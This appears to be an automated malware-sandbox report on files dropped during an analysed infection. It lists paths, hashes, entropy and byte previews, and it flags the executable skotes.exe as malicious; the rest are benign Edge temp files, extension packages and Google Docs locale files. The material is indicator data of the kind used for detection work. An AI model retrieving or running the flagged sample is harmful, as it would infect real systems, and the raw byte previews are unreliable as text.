Preview:	...........m{..(.}...7.\...N.D.w..m..q....%XfL.I.ql..;/.....s...E...0....`..A..[o^.^Y...F_.'..."L...^.......Y..W..l...E0..YY...:.&.u?....J..U<.q."...p.ib:.g..^.q.mr.....^&.{.E.....,EAp.q.......=.=.....z^.,d.^..J.R..zI4..2b?.-D5/.^...+.G..Y..?5..k........i.,.T#........_DV....P..d2......b\..L....o....Z.}../....CU.$.-..D9`..~......=....._.2O..?....b.{...7IY.L..q....K....T..5m.d.s.4.^... ..~<..7~6OS..b...^>.......s..n....k."..G.....L...z.U...... ... .ZY...,...kU1..N...(..V.r\$..s...X.It...x.mr..W....g........9DQR....*d......;L.S.....G... .._D.{.=.zI.g.Y~...`T..p.yO..4......8$..v.J..I.%..._.d.[..du5._._...?\..8.c.....U...fy.t....q.t....T@.......:zu..\,.!.I..AN_.....FeX..h.c.i.W.......(.....Y..F...R%.\..@.. 2(e,&.76..F+...l.t.$..`...........Wi.{.U.&(.b}...}.i..,...k....!..%...&.c..D-."..SQ.......q9....)j....7.".N....AX...).d./giR....uk.....s.....^...........:...~......(hP..K.@.&..?.E0:+D\|9...U.q.cu..)t{.e...X...{.....z......LL&I6.=.

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\DocumentsBFHDHJKKJD.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3240960
Entropy (8bit):	6.6064049873332475
Encrypted:	false
SSDEEP:	49152:hYbVPjv1o301KPOr8LQbi1WTuynxBvx+4bmPmV01l7Jd38rHo6Y4N:SD1o2KPOr8LQb2WTuynLJSPJB8Xh
MD5:	03B9E85B193C6271F2999E206AA72387
SHA1:	269750AD93E9EA766348F934720C0E1B56E7A8DC
SHA-256:	DAB1B476F15D7654C295FCCC68147CE309AE110E446D2CA730EEAE4F3F0244FA
SHA-512:	BB6D7E7C9B606233E90D401E7515D98DC742543528081F80E3F9A8064FFEDCBC7F2AADB1965EFCCB76B56ED7ED1378A312BA4A9E79327BF1418E46F28BF3DFEF
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................1...........@...........................1.....s.1...@.................................W...k.......H....................e1.............................\e1..................................................... . ............................@....rsrc...H...........................@....idata ............................@...cztmcjxa..........................@...vidbrugm.....p1......N1.............@....taggant.0....1.."...R1.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\c99e6118-af4d-4fda-9263-7c2301f992ea.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1366x720, components 3
Category:	dropped
Size (bytes):	206855
Entropy (8bit):	7.983996634657522
Encrypted:	false
SSDEEP:	3072:5WcDW3D2an0GMJGqJCj+1ZxdmdopHjHTFYPQyairiVoo4XSWrPoiXvJddppWmEI5:l81Lel7E6lEMVo/S01fDpWmEgD
MD5:	788DF0376CE061534448AA17288FEA95
SHA1:	C3B9285574587B3D1950EE4A8D64145E93842AEB
SHA-256:	B7FB1D3C27E04785757E013EC1AC4B1551D862ACD86F6888217AB82E642882A5
SHA-512:	3AA9C1AA00060753422650BBFE58EEEA308DA018605A6C5287788C3E2909BE876367F83B541E1D05FE33F284741250706339010571D2E2D153A5C5A107D35001
Malicious:	false
Preview:	......Exif..II.................Ducky.......2......Adobe.d...........................................................#"""#''''''''''..................................................!! !!''''''''''........V.."....................................................................................!1..AQ..aq."2....R..T....Br.#S.U..b..3Cs...t6.c.$D.5uV...4d.E&....%F......................!1..AQaq....."2......BRbr3CS....#..4.............?......1f.n..T......TP....E...........P.....@.........E..@......E.P........@........E.....P.P..A@@.E..@.P.P..AP.P..AP..@....T..AP.E..P.Z .. ....."... .....7.H...w.....t.....T....M.."... P..n.n..t5..B.P..(......................................( .................... .".... .".......(.. ."....... ....o......E.6... ....."........."J......Ah......@.@@....:@{6..wCp..3...((.(.........................@..(...."............................ ........T.......@.@@........AP.P..@.E@....E@.d.E@.@@..@.P.T..@..@..P.D...@M........EO..."...=.wCp.....R......P.@......

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2110
Entropy (8bit):	5.4017561783506185
Encrypted:	false
SSDEEP:	48:Yzj57SnaJ57H57Uv5W1Sj5W175zuR5z+5zn071eDJk5c1903bj5jJp0gcU854Rrx:8e2Fa116uCntc5toYIO8M
MD5:	810FEADF62551777F1E64F2F39E4122B
SHA1:	E499925DBA400C5856D1FBA9AF30B3E2569BA26B
SHA-256:	A284AD9BA01ACEBF2366F8DF9758D60436D40FE56E22F2A9DD4CA3179110C6C1
SHA-512:	4D39D7DF6D66E344B7B8F0D55FCCCEE6E3F77E19AC4229665E7D028E40725288B13EFBD2E39D1FE719FCF8CA8FB36872C4DD3B257B0F87CCD9F67FF590516C33
Malicious:	false
Preview:	{"logTime": "1004/133448", "correlationVector":"vYS73lRT+EoO2Owh9jsc+Y","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"n/KhuHPhHmYXokB31+JZz7","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"fclQx26bUZO07waFEDe6Fn","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"0757l0tkKt37vNrdCKAm8w","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133449", "correlationVector":"uTRRkmbbqkgK/wPBCS4fct","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133449", "correlationVector":"2DrXipL1ngF91RN7IemK0e","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"d0GyjEgnW85fvDIojHVIXI","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"PvfzGWRutB/kmuXUK+c8XA","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"29CB75FBC4C942E0817A1F7A0E2CF647

C:\Users\user\AppData\Local\Temp\e0b34ef5-3f9f-4d99-97cc-03e926752cbe.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	135771
Entropy (8bit):	7.802585890890899
Encrypted:	false
SSDEEP:	3072:LtlntxI0jRnnf4pTz8IayMaCRABlauflM+u0F/oWRW:pl4+hf4pTky1EABYufNFS4W
MD5:	DA75BB05D10ACC967EECAAC040D3D733
SHA1:	95C08E067DF713AF8992DB113F7E9AEC84F17181
SHA-256:	33AE9B8F06DC777BB1A65A6BA6C3F2A01B25CD1AFC291426B46D1DF27EA6E7E2
SHA-512:	56533DE53872F023809A20D1EA8532CDC2260D40B05C5A7012C8E61576FF092F006A197F759C92C6B8C429EEEC4BB542073B491DDCFD5B22CD4ECBE1A8A7C6EF
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[...........=.B.../EYp....i:........ua....w...\H.j....b....4...l.b.:u.%1z....}L.A.F.IZ.2^.j...!F.&@;L..z...02..`:J_@....m....qcQ.\|sD.r`vC.#.8lm...R.8.~A...."~)".[.M...o.a.H.$..(.d/.K.6......c........#.$..>.#..3..-...n4J.$-....N...s.G...3..q.e..(.B?."...9M......[0Y0....H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...H0F.!..w./B..$<......r-.'..xp.H..Q...8.!..R^...%..W0....q....g.D..~.".%............mo.:......<#a..e...Chp...x4z....!.!.a...qgo....p8.T.6...Z....?..CV...<..K...?....k..........q=....Y^........!..K...G...m.n..Y.Y.......u.Wf...TO".?.......U/Rd..Y....j....H..Q...{.....x.OQ.~+}...L.9_.:.,E.....q.0&...I;b..H...>...9.}.B

C:\Users\user\AppData\Local\Temp\e85e9a13-7eaf-4329-a7a4-eb42af60c945.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir7312_1374459370\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir7312_1374459370\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7312_1374459370\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir7312_1374459370\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir7312_1374459370\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7312_1374459370\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir7312_1374459370\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir7312_1374459370\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir7312_1374459370\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7312_1374459370\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7312_1374459370\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7312_1374459370\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
